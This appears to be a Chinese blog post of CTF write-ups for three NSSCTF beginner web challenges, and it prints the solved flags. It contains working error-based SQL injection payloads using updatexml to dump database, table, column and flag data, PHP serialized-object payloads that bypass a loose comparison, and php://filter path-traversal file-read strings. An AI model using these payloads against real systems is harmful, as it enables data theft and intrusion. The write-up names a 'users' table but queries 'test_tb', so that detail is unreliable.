[SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]error

报错注入:?id='and updatexml(1,concat(0x7e,database(),0x7e),1) --+

爆出了数据库名称 test_db

爆表名:?id='and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="test_db"),0x7e),1) --+

发现了一个users表

爆字段名:?id='and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="test_tb"),0x7e),1) --+

发现爆出了flag和id

?id='and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1) --+

发现flag并没有完全显示出来,应该是长度不够

?id='and updatexml(1,concat(0x7e,mid((select flag from test_tb),32,31),0x7e),1) --+

爆出后面的字段

NSSCTF{b4d5a3d7-f2a5-4085-a973-05b4926b9325}

[HUBUCTF 2022 新生赛]checkin

这是让我们输入usernam 和password 分别等于this_is_secret 和this_is_not_known_to_you 然后有GET传参,然后把传参转换成反序了化(unserialize) 如果等于输出flg反之输出username or password error!

我们先试试传参反序列化

复制代码
<?php
$a['username']  = "this_is_secret"; 
$a['password']  = "this_is_not_known_to_you"; 
$a = serialize($a);
echo $a
?>

a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

发现没有显示

发现失败,有一句提示说 here I changed those two ,可能是flag.php改变了这两个值,

说要穿两个正确值,那我们直接拿true试试

复制代码
<?php
$a['username']  = true; 
$a['password']  = true; 
$a = serialize($a);
echo $a
?>

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

拿到flag

NSSCTF{3c5912f7-08da-4058-8f0a-ddeaa00b3be4}

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

  • 代码检查 GET 参数 file 的前三个字符是否为 "php"
  • 如果是,就直接包含这个文件
  • 目标是要读取 flag.php 的内容

?file=php://filter/convert.base64-encode/resource=flag.php

我们用这个试试

我们去解析一下b64编码

发现不行,那我们换一个思路

?file=php://filter/resource=../../../flag

NSSCTF{b9f3c77b-6fcd-49ad-aef3-093c962a4abf}

相关推荐
2501_946230986 小时前
Cordova&OpenHarmony通知中心实现
android·javascript
csj507 小时前
安卓基础之《(9)—中级控件(3)文本输入》
android
Elastic 中国社区官方博客9 小时前
Elasticsearch:在 X-mas 吃一些更健康的东西
android·大数据·数据库·人工智能·elasticsearch·搜索引擎·全文检索
2501_9462309810 小时前
Cordova&OpenHarmony提醒管理系统实现
android·javascript
shaominjin12312 小时前
Jetpack Compose 实践入门:从环境搭建到待办列表实现
android
冬奇Lab14 小时前
稳定性性能系列之二——ANR机制深度解析:从触发到上报
android·性能优化·debug
江上清风山间明月14 小时前
Android BIND_NOTIFICATION_LISTENER_SERVICE 权限详解
android·notification·service·bind·listener
Lei活在当下14 小时前
【日常知识积累】Kotlin let 函数、inline 函数以及 DSL
android·kotlin·编程语言
世界美景14 小时前
一种基于 ART 内存特征的 LSPosed/Xposed/分身环境 完美检测方案
android·安全·安卓·xposed
2501_9462309815 小时前
Cordova&OpenHarmony外观主题设置
android·javascript